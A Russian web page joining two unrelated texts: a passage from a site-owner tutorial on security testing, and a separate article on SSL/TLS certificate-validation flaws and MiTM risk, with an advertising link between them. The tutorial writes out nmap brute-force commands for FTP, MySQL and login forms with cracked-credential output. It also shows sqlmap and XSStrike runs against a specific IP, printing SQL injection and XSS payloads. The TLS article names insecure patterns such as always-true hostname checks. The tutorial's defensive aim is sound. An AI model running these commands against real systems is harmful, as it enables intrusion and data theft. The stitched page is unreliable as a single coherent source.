Кроме того, можно расширить стандартные списки паролей и пользователей от nmap, заменив файлы users.lst и passwords.lst . Различные базы для брутфорса можно найти в этом gitbub репозитории. Файлы с базой паролей можно разместить в папке nmap/nselib/data

FTP

Теперь проверяем FTP порт следующей командой:

nmap -d –script ftp-brute -p 21 161.35.92.161

Аналогично, сервис выведет подобранные пары логинов и паролей:

PORT STATE SERVICE
21/tcp open ftp
| ftp-brute:
| Accounts
| root:root – Valid credentials
|_ Statistics: Performed 864 guesses in 544 seconds, average tps: 4.8

MySQL

Проверяем доступен ли анонимный вход.

nmap -sV –script=mysql-empty-password <target>

В случае успеха:

3306/tcp open mysql
| mysql-empty-password:
| anonymous account has empty password
|_ root account has empty password

Пытаемся подобрать пару логинпароль для входа в базу данных mysql.

nmap –script mysql-brute -p 3306 <target>
–script-args userdb=users.lst, passdb=passwords.lst

Также если у вас используются CMS (WordPress, Joomla, Drupal, Bitrix) и другие базы данных (Mongo, Postgres, Redis), то можно найти готовые скрипты для проверки устойчивости ваших паролей и форм. Ищите по ключевым словам <name_of_CMS_or_DB> brute force nmap

Проверяем формы авторизации

Найти формы авторизации можно с помощью такой команды (вместо <target> – подставьте домен вашего сайта):

nmap -p80 –script http-auth-finder <target>

После того, как нашли страницы с авторизацией, можно попробовать подобрать пароль и логин для входа в админку сайта.

Параметры

  • http-brute.hostname – имя хоста
  • http-form-brute.path – адрес страницы с формой или адрес с API
  • http-brute.method – тип метода, по умолчанию POST
  • http-form-brute.uservar – устанавливает имя переменной, которая отвечает за username. Если не установлено, то скрипт возьмет имя поля из формы
  • http-form-brute.passvar – устанавливает имя переменной, которая отвечает за пароль. Если не установлено, то скрипт возьмет имя поля из формы

Параметры нужно перечислять через запятую после -script-args.

nmap -p-80 –script=http-form-brute –script-args=http-form-brute.path=/login <target>

Если скрипт успешно сработает, то выведет примерно вот такой результат.

Подобранные данные для входа будут отображены после строчки Accounts. В нашем случае скрипт подобрал логин user с паролем secret. В реальном приложении подбор может также занять продолжительное время, зависит от того насколько стойкий пароль используется.

PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-form-brute:
| Accounts
| user:secret – Valid credentials
| Statistics
|_ Perfomed 60023 guesses in 467 seconds, average tps: 138

Если ваша формы авторизации использует cookies параметры или csrf-token, то в этом случае выдаст ошибку. (И это хорошо, значит базовую защиту вы предусмотрели).

В качестве защиты стоит использовать стойкие пароли, а также ограничивать количество запросов с одного IP-адреса (Rate limiting).

3. Ищем скрытые папки и файлы

Часто разработчики или системные администраторы довольно халатно относятся к правам доступа и забывают закрыть доступ к системным и другим важным папкам. Проверить есть у нас на сервере такие папки можно также с помощью утилиты nmap. Команды будет выглядеть так (вместо <target> нужно подставить IP-адрес сервера или домен сайта) :

nmap -sV -p 80 -T5 –script http-enum <target>

В результате в отчете нам покажут доступные для просмотра папки, интересные файлы – файлы паролей, резервные копии базы данных и тд. (Если такие существуют). Дальше уже вам нужно самостоятельно решить какие папки и файлы нужно закрыть от просмотра, а какие оставить как есть.

Пример небольшого отчета.

Host is up (0.024s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /robots.txt: Robots file
| /css/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’
| /images/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’
|_ /js/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’

4. Проверяем на SQL инъекции

Так повелось, что большинство современных веб-приложений в той или иной мере используют SQL базы данных. Обычно параметры веб-страницы или какие-либо пользовательские данные подставляются в SQL запросы и результаты запроса отображаются на веб-странице. Если передаваемые параметры плохо фильтруются, то веб-сервис становится уязвимым для SQL инъекций.

Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно. Именно таким образом чаще всего воруют базы пользователей и их личные данные.

Далее я покажу как с помощью скриптов быстро и эффективно проверить есть в вашем продукте подобные уязвимости. Часто даже довольно опытные разработчики забывают о мерах предосторожности, поэтому даже серьезные продукты имеют подобные проблемы. Попробуем проверить наш тестовый веб-сервис на наличие таких проблем c помощью инструмента sqlmap.

Установка sqlmap.

Sqlmap – это кроссплатформенный сканер с открытым исходным кодом, который позволяет в автоматическом режиме тестировать веб-сервисы на наличие SQL инъекций, а затем использовать их для получения контроля над базой данных.

В данной статье я рассмотрю только способы как можно находить уязвимые для SQL инъекций страницы, API и формы без подробностей о том, как использовать найденные уязвимости для нанесения вреда. (Владельцы сайтов тут облегченно вздохнули). Для использования необходим python версии 2.7 и старше.

Установка на Windows

Для начала работы нам необходимо установить Python. Установщик Python для Windows можно найти на официальном сайте. Ссылку я прикрепил ниже.

На сайте две ветки – 2.x и 3.x, но скачать и установить лучше ветку 3.x. Sqlmap корректно работают с каждой из этих версий, но в дальнейшем нам потребуется версия 3.x.

Загрузить последнюю версию sqlmap можно здесь. Распакуйте архив в любую удобную папку (чтобы было проще ее найти можно распаковать в папку С:Users<имя вашего пользователя>)

Для запуска вначале нужно открыть командную строку. Нажмите Win+R, в появившемся окне введите cmd и нажмите enter. Пример запуска:

С:UsersAdminsqlmap>python ./sqlmap.py -u http://161.35.92.161/page.php?id=2

Установка на Mac OS X

Для начала установим Python. Для этого откройте Tерминал и запустите следующую команду.

brew install python3

Теперь установим sqlmap.

brew install sqlmap

Запуск sqlmap для Mac OS X.

sqlmap -u http://161.35.92.161/page.php?id=2 –dbs -o -random-agent

Начинаем проверку

В моем тестируемом сервисе я специально подготовил sql уязвимости. Попробуем найти их следующей командой. Параметр –dbs означает, что нам интересны имена баз данных. В случае успеха и наличия уязвимости, после определения баз данных можно перейти к поиску таблиц и получения нужных данных. Команду необходимо вводить в консоль.

python sqlmap.py -u http://161.35.92.161/page.php?id=2 –dbs -o -random-agent

Через некоторое время скрипт может попросить нас уточнить некоторые данные. В данном случае выбираю “нет”, чтобы скрипт прогнал все тесты.

[01:14:57] [INFO] fetched random HTTP User-Agent header value ‘Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; MSIECrawler)’ from file ‘C:UsersAcersqlmapdatatxtuser-agents.txt’
[01:15:04] [INFO] testing connection to the target URL
[01:15:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[01:15:05] [INFO] testing NULL connection to the target URL
[01:15:05] [INFO] NULL connection is supported with GET method (‘Range’)
[01:15:05] [INFO] testing if the target URL content is stable
[01:15:05] [INFO] target URL content is stable
[01:15:05] [INFO] testing if GET parameter ‘id’ is dynamic
[01:15:05] [INFO] GET parameter ‘id’ appears to be dynamic
[01:15:06] [INFO] heuristic (basic) test shows that GET parameter ‘id’ might be injectable
[01:15:06] [INFO] testing for SQL injection on GET parameter ‘id’
[01:15:06] [INFO] testing ‘AND boolean-based blind – WHERE or HAVING clause’
[01:15:06] [INFO] GET parameter ‘id’ appears to be ‘AND boolean-based blind – WHERE or HAVING clause’ injectable
[01:15:07] [INFO] heuristic (extended) test shows that the back-end DBMS could be ‘CrateDB’
it looks like the back-end DBMS is ‘CrateDB’. Do you want to skip test payloads specific for other DBMSes? [Y/n] n

Скрипт выводит отчет:

[01:15:29] [INFO] testing ‘MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)’
[01:15:29] [INFO] testing ‘PostgreSQL AND error-based – WHERE or HAVING clause’
[01:15:29] [INFO] testing ‘Microsoft SQL Server/Sybase AND error-based – WHERE or HAVING clause (IN)’
[01:15:30] [INFO] testing ‘Oracle AND error-based – WHERE or HAVING clause (XMLType)’
[01:15:30] [INFO] testing ‘MySQL >= 5.0 error-based – Parameter replace (FLOOR)’
[01:15:30] [INFO] testing ‘Generic inline queries’
[01:15:30] [INFO] testing ‘PostgreSQL > 8.1 stacked queries (comment)’
[01:15:30] [WARNING] time-based comparison requires larger statistical model, please wait…………………. (done)
[01:15:32] [INFO] testing ‘Microsoft SQL Server/Sybase stacked queries (comment)’
[01:15:32] [INFO] testing ‘Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE – comment)’
[01:15:32] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’
[01:15:43] [INFO] GET parameter ‘id’ appears to be ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’ injectable
[01:15:43] [INFO] testing ‘Generic UNION query (NULL) – 1 to 20 columns’
[01:15:43] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:15:45] [INFO] target URL appears to be UNION injectable with 4 columns
[01:15:46] [INFO] GET parameter ‘id’ is ‘Generic UNION query (NULL) – 1 to 20 columns’ injectable
GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] y

После продолжения анализа нас в первую очередь интересует строчка в конце: GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N].

Как можно видеть, скрипт определил, что параметр id уязвим и предлагает протестировать другие параметры. В нашем конкретном случае других параметров нет, но в реальных веб-приложениях таких параметров может быть десятки, так что иногда имеет смысл проверить все.

Итоговый отчет:

sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: id=2 AND 9795=9795

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2 AND (SELECT 7989 FROM (SELECT(SLEEP(5)))geJr)

Type: UNION query
Title: Generic UNION query (NULL) – 4 columns
Payload: id=2 UNION ALL SELECT NULL,CONCAT(0x716a6a6b71,0x736654714b69505a4f6f64434776566d7a43455179446561434f7a46434241555449574d6759575a,0x7162627171),NULL,NULL– –

[INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching database names
available databases [2]:
[*] information_schema
[*] vc_test

[INFO] fetched data logged to text files under ‘C:UsersAdminAppDataLocalsqlmapoutput161.35.92.161’

В итоге скрипт не только определил, что параметр id является уязвимым, но и версию СУБД, а также получил название используемой базы данных на сервере – vc_test, в которой содержится контент сайта. Эту информацию можно найти в конце сгенерированного отчета.

В дальнейшем для злоумышленника уже обычно не проблема получить данные в таблицах, а возможно и полный контроль над всей БД, а то и всем нашим сервером и исходным кодом сайта, если для запросов используется пользователь с широкими правами.

Кроме того, sqlmap позволяет задавать http заголовки и параметры Cookies, что довольно удобно для тестирования, особенно когда для получения результата запроса требуется авторизации.

Пример тестирования запроса POST. Параметры, которые передаются в теле запроса записываются в опцию скрипта –data. Необходимые параметры для POST запроса можно подсмотреть в консоли браузера (Ctrl + Shift + I в Windows, затем перейти в вкладку Network, совершить нужное действие, а затем изучить каким образом формируется запрос)

sqlmap.py -u http://localhost/login –data=”username=alex&password=pass” –dbs -o -random-agent

После авторизации обычно необходимо передать нужные Сookie. В sqlmap за это отвечает опция –cookie. Нужные значения cookies можно получить в инструментах разработчика вашего браузера. (в Windows ctrl+shift+i, затем найдите вкладку Network, а в ней щелкните на запрос с именем домена сайта. В окне справа пролистайте пока не увидите параметр cookie)

Пример команды sqlmap c опцией –cookie.

sqlmap.py -u http://localhost/create –data=”name=alex&message=hacked” –cookie=”security_level=low; PHPSESSID=05aa4349068a1kkaje4kcqnr9o6″ –dbs -o -random-agent

Если параметров несколько, то можно явно указать какой параметр будем тестировать с помощью опции -p.

sqlmap.py -u “http://localhost/profile/?username=alex&page=2” -p username

Можно задавать http заголовки через опцию –headers. Это крайне полезно для тестирования ваших API.

Также если get параметр передается не как get параметр, а как URI, то в этом случае нужно явно указать с помощью *, что данная часть URI является параметром. Пример:

sqlmap.py -u “http://localhost/api/v2/news/2*” –headers=”Authorization: Bearer <token>” –dbs -o -random-agent

Таким образом можно довольно тщательно протестировать ваше веб-приложение на наличие SQL инъекций. Также крайне полезно использовать sqlmap для автоматических тестов и запускать их после каждого изменения кода вашего приложения и не допускать код в ветку master, если он содержит уязвимость.

Для защиты от SQL инъекций нужно тщательно фильтровать параметры и HTTP заголовки, а также использовать подготовленные запросы.

5. Проверка на XSS уязвимости.

Межсайтовый скриптинг (XSS) – это уязвимость, которая заключается во внедрении злоумышленником своего Javascript кода в веб-страницу, которая отображается в браузере пользователя.

После такого внедрения злоумышленник фактически захватывает веб-страницу и может манипулировать данными пользователя, когда он находится на странице. В случае успеха злоумышленник может:

  • Внедрять свои скрипты в веб-страницу
  • Отправлять на свой сервер пользовательские данные – банковские карты, идентификаторы сессий, пароли и тд.
  • Совершать действия от имени пользователя – рассылать спам, совершать денежные переводы

Уязвимость возникает из-за недостаточной фильтрации данных, которые выводятся при отображении страницы.

Такие уязвимости довольно часто встречаются даже в крупных продуктах, поэтому стоит обязательно тестировать свои веб-приложения на наличие XSS уязвимостей.

В данном случае для тестирования мы воспользуемся утилитой XSStrike

ХSStrike – это довольно продвинутый сканер для поиска XSS уязвимостей c открытым исходным кодом. Он написано на Python3 и довольно прост в начальной настройке и использования.

Установка

Для установки необходимо скачать архив по ссылке и распаковать в удобную вам папку. После этого необходимо открыть консоль (ранее я уже показывал как это сделать в Mac и Windows) и перейти в распакованную папку. Затем нужно выполнить команды в консоле:

pip3 install pygame

Установим необходимые для корректной работы библиотеки:

pip3 install -r requirements.txt

Теперь мы готовы к тестированию. Пример простого запуска, вместо моего url укажите адрес страницы, которую хотите протестировать:

python xsstrike.py -u “http://161.35.92.161/index.php?page=2” –blind

Очень быстро скрипт обнаруживает, что параметр page является уязвимым ( строчка Reflections found ) и через него можно передать js код, который будет исполнен на странице. Пример такого кода приводится в строчке Payload. Такой тип XSS уязвимостей называется reflected XSS.

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: page
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072
————————————————————
[+] Payload: <HTmL%0aONmOuSEoVeR+=+(prompt)“%0dx//
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N] n

Кроме того, можно проверять и формы. Отправим на проверку форму, которая отправляет сообщение в наш сервис. Чтобы передать список POST параметров используем опцию –data.

python xsstrike.py -u “http://161.35.92.161/index.php” –data “name=&message=” –blind

Результат: параметр name уязвим.

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: name
[!] Reflections found: 3
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 4608
————————————————————
[+] Payload: <A%0aOnmOUSeOVEr%0d=%0d(prompt)“%0dx>v3dm0s
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N]

Как выглядит ответ, когда скрипт не находит уязвимых параметров:

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: name
[-] No reflection found
[!] Testing parameter: message
[-] No reflection found

Кроме того, в XSStrike поддерживает возможность передавать http заголовки, в том числе и cookies и проверять страницы для открытия которых нужна авторизация. Для этого используется опция –headers

python xsstrike.py -u “http://161.35.92.161/index.php” –data “name=&message=” –headers “Authorization: Bearer <token> Cookie: zmname=none” –blind

Также можно запустить обход по всему сайту. Нужно указать стартовую страницу и сканер начнет обход всех найденных страниц. Запись -l 100 отвечает за количество страниц обхода.

python xsstrike.py -u “http://161.35.92.161” –blind –crawl -l 100

Скрипт покажет страницы, на которых были найдены уязвимые параметры. Найденные страницы можно уже исследовать подробнее.

[~] Crawling the target
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for message: <htMl%09oNMOuseoVER%0d=%0dconfirm()//
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for page: <hTMl%0donPointereNter%0a=%0a[8].find(confirm)>
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for name: <D3v/+/oNMoUSeoveR%0a=%0a(confirm)()%0dx>v3dm0s
!] Progress: 3/3

Также полезная функция – обход url страниц, которые указаны в файле с помощью опции –seeds. Можно также использовать вместе с опцией –headers.

python xsstrike.py -u “http://example.com” -l 3 –seeds urls.txt

Таким образом можно достаточно тщательно проверить свое веб-приложение на XSS уязвимости. Также хорошим ходом будет написать простой bash скрипт для объединения всех проверок XSS в один скрипт, специально заточенный под ваш проект.

Его задачей будет тестировать ваше веб-приложение после каждого изменения исходного кода и не пускать коммит в ветку master, если страницы и формы содержат XSS уязвимости .

Для борьбы с XSS уязвимости нужно также тщательно фильтровать данные, которые показываются пользователю.

Заключение

Надеюсь руководство будет полезным и поможет вам сделать свои сайты и веб-приложения безопаснее. Также стоит проверять не только сам сайт, но и ваши админки и вспомогательные сервисы на поддоменах, ведь они также могут быть уязвимы перед подобными автоматизируемыми системами и скриптами.

Конечно приведенные меры не обеспечивают 100% защиты, и я не рассказал о многих других типовых уязвимостях, но показанные меры помогут защитить проект от автоматизированных систем взлома и злоумышленников с невысокими навыками.

Если есть вопросы, то смело пишите их в комментариях или мне в телеграм t.me/alex.belousov92

Также будет интересно почитать, что вы используете для тестирования безопасности ваших веб-приложений. Если статья наберет достаточное количество плюсов, то напишу продолжение. Поэтому не забудьте проголосовать, если статья понравилась!

Информационная безопасность, Разработка систем связи, Сетевые технологии, IT-стандарты


Рекомендация: подборка платных и бесплатных курсов создания сайтов – https://katalog-kursov.ru/

Первоначально разработанный для браузеров, SSL/TLS-протокол позже стал стандартом де-факто вообще для всех защищенных интернет-коммуникаций. Сейчас он используется для удаленного администрирования виртуальной инфра­структуры, развернутой в облаке, для передачи платежных реквизитов покупателя от серверов электронной коммерции к платежным процессорам, таким как PayPal и Amazon, для пересылки локальных данных в облачное хранилище, сохранения переписки в мессенджерах и аутентификации серверов в мобильных приложениях iOS и Android.

Список ситуаций, когда обмен весьма чувствительной информацией требует максимальной безопасности, довольно внушителен. В этой статье мы рассмотрим, как безопасность этих коммуникаций обеспечивается на практике.

SSL/TLS-протокол: хотели как лучше…

В теории, защищённое SSL/TLS-протоколом соединение должно обеспечивать конфиденциальность, достоверность и целостность коммуникаций клиентского и серверного софта, – даже в условиях присутствия активного продвинутого злоумышленника из сети: когда сеть полностью захвачена врагом, DNS отравлен, а точки доступа и маршрутизаторы, коммутаторы и WiFi контролируются злоумышленником; злоумышленником, который помимо всего прочего контролирует SSL/TLS-бэкэнд. Кроме того, когда клиентский софт пытается подключиться к законному серверу, – злоумышленник может подменить сетевой адрес сервера (например, через отравление DNS), и вместо законного сервера, перенаправить клиента на свой злонамеренный сервер.

Безопасность коммуникаций в таких суровых условиях, как известно, целиком зависит от адекватности проверки криптографического сертификата, предоставленного сервером при установке соединения. В том числе от адекватности реализации набора шифров (ciphersuite), которыми клиент и сервер пользуются при обмене данными. Для того чтобы SSL/TLS-соединение было полностью безопасным, клиентский софт, в числе прочего, должен тщательно удостовериться, что:

  • сертификат выдан действующим органом сертификации;
  • срок его действия не истёк (или сертификат не был отозван);
  • в списке перечисленных в сертификате имён присутствует тот домен, к которому производится подключение.

…а получилось как всегда: примеры провальной проверки SSL/TLS-сертификата

Однако во многих приложениях и библиотеках, для которых безопасность коммуникаций очень критична, процедура проверки SSL/TLS-сертификата, – и даже EV-SSL, сертификата с расширенной проверкой [4], – полностью провальная. Во всех популярных операционных системах: Linux, Windows, Android и iOS. Среди уязвимого софта, библиотек и middleware-сервисов можно выделить следующие [1]:

  • Amazon’овская Java-библиотека EC2 и все облачные фронтэнд-клиенты построенные на её основе.
  • Amazon’овский и PayPal’овский торговый SDK, ответственный за доставку платёжных реквизитов от сайтов (на которых развёрнута инфраструктура онлайн-коммерции) к платёжным шлюзам.
  • Интегрированные «корзины», такие как osCommerce, ZenCart, Ubercart и PrestaShop, которые не проверяют сертификаты вообще.
  • AdMob-код используемый мобильным софтом для показа контекстной рекламы.
  • Интерфейсные фронтэнд-компоненты ElephantDrive и FilesAnywhere, ответственные за взаимодействие с облачным хранилищем.
  • Android’ная библиотека Pusher и весь софт, который использует Pusher API для управления обменом мгновенными сообщениями (например, GitHub’овский Gaug.es).
  • Apache HttpClient (версия 3.x); Apache Libcloud; и все клиентские подключения к серверам Apache ActiveMQ и т.п.
  • SOAP middleware-сервисы Java, в том числе Apache Axis, Axis 2, Codehaus XFire; а также весь софт, который на базе этих middleware-сервисов построен.
  • API-инструменты Elastic Load Balancing.
  • Weberknecht-реализация WebSockets’ов.
  • А также весь мобильный софт, построенный на базе перечисленных выше библиотек и middleware-сервисов (чтобы понять, что такое middleware-сервисы, смотри рис. 1); в том числе iOS-клиент хостинг-провайдера Rackspace.

Рисунок 1. Что такое middleware-сервисы

Кроме того, в [2] перечислено ещё больше сотни уязвимых мобильных приложений (см. рис. 2). В том числе: Android’s Google Cloud Messaging, Angie’s List Business Center Passwords, AT&T Global Network Client, CapitalOne Spark Pay, Cisco OnPlus (remote access), Cisco Technical Support, Cisco Webex, Cisco WebEx Passwords, Dominos Pizza, E-Trade, Freelancer, Google Earth, Huntington Mobile (Bank), Intuit Tax Online Accountant, iTunes Connect, Microsoft Skype, Oracle Now, Pinterest, SafeNet (VPN client), SouthWest Airlines, Uber, US Bank – Access Online, WesternUnion, WordPress, Yahoo! Finance, Yahoo! Mail.

Рисунок 2. Небольшая выборка из списка уязвимых мобильных приложений

Логические уязвимости SSL/TLS-протокола

SSL/TLS-соединения всего этого и многого другого софта уязвимы для широкого спектра MiTM-атак. При этом, MiTM-атаку можно провести, зачастую, даже без подделки сертификатов и без похищения приватных ключей, которыми серверы подписывают свои сертификаты. MiTM-атаку можно провести – просто эксплуатируя логические уязвимости, которые присутствуют в процедуре проверки SSL/TLS-сертификата на стороне клиентского софта. В результате MiTM-злоумышленник может, например, собирать токены авторизации, номера кредитных карт, имена, адреса и т.п. – у любого продавца, который использует уязвимые веб-приложения обработки платежей.

Поставщики мобильного софта, которые берут за основу сэмпл-код AdMob для связи своих приложений с AdMob-аккаунтом, тоже уязвимы, – они позволяют атакующему захватывать учётные данные, и получать доступ ко всем его Google-сервисам. К примеру, из-за некорректной проверки сертификатов в таких мессенджерах как Trillian и AIM, MiTM-злоумышленник может похитить учётные данные для входа ко всем сервисам Google (включая Gmail), Yahoo!; и также к сервисам Windows Live (в т.ч. SkyDrive). Среди других уязвимостей, которыми страдает современный небраузерный веб-софт: использование неправильных регулярных выражений при сравнении имени хоста; игнорирование результатов проверки корректности сертификата; случайное или преднамеренное отключение проверки. [1]

Другие распространённые уязвимости реализации SSL/TLS-протокола

Ну и конечно же нельзя забывать о том, что даже если в реализации SSL/TLS-протокола нет логических ошибок (если конечно кто-то в это ещё верит), то защиту можно обойти посредством похищения приватного ключа [12], посредством применения 0day-эксплойтов к таким вещам как клавиатуры, браузеры, операционные системы, утилиты и прошивки [3]; посредством компрометации BGP-маршрутизации [10]; или атаковать SSL/TLS по аппаратным (см. рис. 3) [8] и/или программным [9] обходным каналам.

Рисунок 3. Атака на SSL по аппаратным обходным каналам

Кроме того, злоумышленники могут выполнять практически невидимые MiTM-атаки, злоупотребляя механизмом кэширования SSL/TLS-сеансов, реализованным в классе SSLSessionCache. Этот механизм проверяет достоверность сертификатов только при первоначальном соединении; и при этом не способен должным образом аннулировать сеанс связи после удаления сертификатов с устройства. Кроме того, после перезагрузки Android-устройства (через опции «Перезапуск» или «Отключить питание») можно продолжать видеть зашифрованный трафик некоторых приложений, которые после перезагрузки не запускались, но до перезагрузки работали. Так например с Google Maps происходит. В [2] описано, как благодаря этим недочётам кэширования, злоумышленник может совершенно прозрачно для пользователя устанавливать и удалять «невидимые сертификаты», и затем устанавливать сетевое соединение с любым приложением.

Рисунок 4. Ретроспектива уязвимого шифрования

Среди других распространённых уязвимостей реализации SSL/TLS-протокола можно отметить уязвимое шифрование (см. рис. 4) [5], повторное использования GCM (Galois/Counter Mode; счётчик с аутентификацией Галуа) [6], хитрость с CNG (CryptoAPI-NG) в Schannel (см. рис. 5) [7], некорректную проверку цепочки доверия [2], некорректную проверка имени хоста [11].

Рисунок 5. Хитрость с CNG: вытягиваем секреты из Schannel

Некорректная проверка цепочки доверия представляет собой ситуацию, когда веб-приложение принимает абсолютно любой сертификат, в котором указано корректное имя хоста, не проверяя при этом каким центром сертификации он был подписан. Это позволяет перехватывать и дешифровывать пароли и/или номера кредитных карт. А в некоторых случаях даже делать инъекцию вредоносного кода. В Android-софт данная уязвимость проникает, например когда создаётся кастомизированный X509TrustManger-интерфейс, который игнорирует исключения CertificateException. Или когда разработчик софта вставляет в код WebViews-компонента вызов метода SslErrorHandler.proceed(). [2]

Некорректная проверка имени хоста представляет собой ситуацию, когда веб-приложение принимает сертификат, не удостоверившись в том, что хост, с которого этот сертификат пришёл, присутствует в списке доверенных хостов. В Android-софт данная уязвимость проникает, например когда создаётся HostnameVerifier-интерфейс, который при любых условиях возвращает TRUE. Или когда разработчик софта в вставляет в код WebViews-компонента вызов метода SslErrorHandler.proceed(). [2]

Коренная причина существования уязвимостей в SSL/TLS-протоколе

Коренная причина существования подавляющего большинства перечисленных уязвимостей – ужасный API-дизайн SSL/TLS-библиотек (в том числе JSSE, OpenSSL, и GnuTLS). А также не менее ужасный дизайн библиотек передачи данных (таких как cURL, Apache HttpClient и urllib), каждая из которых представляет собой высокоуровневую обёртку для SSL/TLS-библиотек. Не говоря уже о middleware-сервисах (таких как Apache Axis, Axis 2, или Codehaus XFire), которые ещё более высокоуровневой обёрткой являются, и которые увеличивают «снежный ком» ужасного дизайна ещё больше. Вместо того чтобы вести с прикладным разработчиком (зачастую далёким от системного программирования) диалог на понятном ему языке (в терминах конфиденциальности и аутентификации), абстрагировано от низкоуровневых подробностей реализации SSL/TLS-протокола, эти API вываливают на бедолагу кучу низкоуровневых SSL/TLS-параметров, непонятных ему. Требуют от высокоуровневого софта, чтобы он правильно выставлял низкоуровневые опции; реализовывал функции проверки имени хоста и заботился об интерпретации возвращаемых низкоуровневыми операциями значений.

В результате, прикладные разработчики используют SSL/TLS API неправильно: ошибочно интерпретируют многообразие их параметров, опций, побочных эффектов и возвращаемых значений. Например [1]:

  • Amazon’овская PHP-библиотека Flexible Payments Service пытается включить проверку имени хоста – посредством установки параметра CURLOPT_SSL_VERIFYHOST в значение TRUE (в cURL-библиотеке). Однако корректное значение по умолчанию для этого параметра – 2; если же присвоить ему значение TRUE, то этому параметру незаметно для разработчика присваивается значение 1, и т.о. проверка сертификата отключается.
  • PHP-библиотека PayPal Payments Standard – приобрела ту же самую ошибку; причём в тот момент, когда предыдущая, уязвимая, реализация обновлялась (т.е. одну ошибку убрали, другую добавили).
  • Другой пример – это Lynx, тексто-ориентированный браузер. Он проверяет самоподписанные сертификаты, – но только в том случае, если GnuTLS’ная функция проверки сертификата возвращает отрицательное значение. Однако эта самая функция для некоторых ошибок возвращает 0; в том числе в тех случаях, когда сертификаты подписаны недоверенным органом. Из-за этого цепочка проверки доверия в Lynx – нарушена.

Кроме того, прикладные разработчики зачастую неправильно понимают, какие именно гарантии безопасности предоставляет та или иная SSL/TLS-библиотека. Поэтому в дикой природе можно встретить клинические случаи, когда в приложениях, принципиально нуждающихся в защищённых коммуникациях (например, взаимодействующих с платёжным процессором), используется SSL/TLS-библиотека, которая не проверяет SSL/TLS-сертификаты вообще. Более прозаичные, но ещё более убийственные случаи – это когда разработчик какого-нибудь из промежуточных слоёв софта молча отключает процедуру проверки SSL/TLS-сертификатов (он это может сделать, например, для тестирования системы, а после тестирования – забыть вновь включить её). При этом высокоуровневый программный код, использующий этот промежуточный слой, уверен, что проверка сертификатов производится. Т.о. ошибки SSL/TLS часто бывают скрыты в глубине одного или сразу нескольких промежуточных слоёв-библиотек – из-за чего обнаружить данную проблему становится практически невозможно.

Например, в JSSE (Java Secure Socket Extension) расширенный интерфейс SSLSocketFactory API – молча пропускает проверку имени хоста, если поле «algorithm» в SSL-клиенте установлено в NULL или в пустую строку, – а не в HTTPS. Хотя данное обстоятельство упоминается в справочном руководстве JSSE, многие Java-реализации SSL-протоколов используют SSLSocketFactory без выполнения проверки имени хоста…

Ложка мёда в бочку дёгтя

Т.о., по факту получается, что в большинстве современного небраузерного веб-софта проверка SSL/TLS-сертификатов либо отключена совсем, либо реализована неправильно. На рисунке 7 представлена классификация актуальных уязвимостей SSL/TLS-протокола. Некоторые из этих уязвимостей, но не все, были описаны и/или упомянуты выше. Ознакомиться с упомянутыми, но неописанными уязвимостями – можно почитав материалы, перечисленные в библиографии.

Рисунок 6. Классификация актуальных для SSL/TLS уязвимостей

Ну и чтобы добавить ложку мёда в бочку дёгтя, стоит отметить, что в [1] подробно/понятно/популярно/грамотно описано, как SSL реализовываться должен, со ссылкой на RFC. Лучшего описания, которое бы технически точным и одновременно понятным было, мы не встречали. Также в [1] разбираются самые распространённые SSL-библиотеки, с классификацией по уровню абстрагирования (низкоуровневые/высокоуровневые). Всё с диаграммами и лаконичными алгоритмами в псевдокоде. Подробно уязвимости конкретных продуктов описаны, с приведением программного кода некорректного, и указанием ошибок. Так что если вдруг у кого-то в очередной раз возникнет желание создать такую реализацию SSL/TLS-фреймворка, которая станет исключением из поговорки «хотели как лучше, а получилось как всегда», то [1] – идеальное для этого начало.

Библиография

1. Martin Georgiev, Rishita Anubhai, Subodh Iyengar. The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software // Proceedings of the 2012 ACM conference on computer and communications security. 2012. pp. 38-49.
2. Tony Trummer. Mobile SSL Failures // Proceedings of the HITB Security Conference. 2015.
3. Kellen Evan Person. How Ciphersuites Work: TLS in Pieces // 2017.
4. Catalin Cimpanu. Extended Validation (EV) Certificates Abused to Create Insanely Believable Phishing Sites // BleepingComputer. 2017.
5. David Adrian. A Retrospective on the Use of Export Cryptography // Black Hat. 2016.
6. Sean Devlin. Nonce-Disrespecting Adversaries: Practical Forgery Attacks on GCM in TLS // Black Hat. 2016.
7. Jake Kambic. Cunning with CNG: Soliciting Secrets from Schannel // Black Hat. 2016.
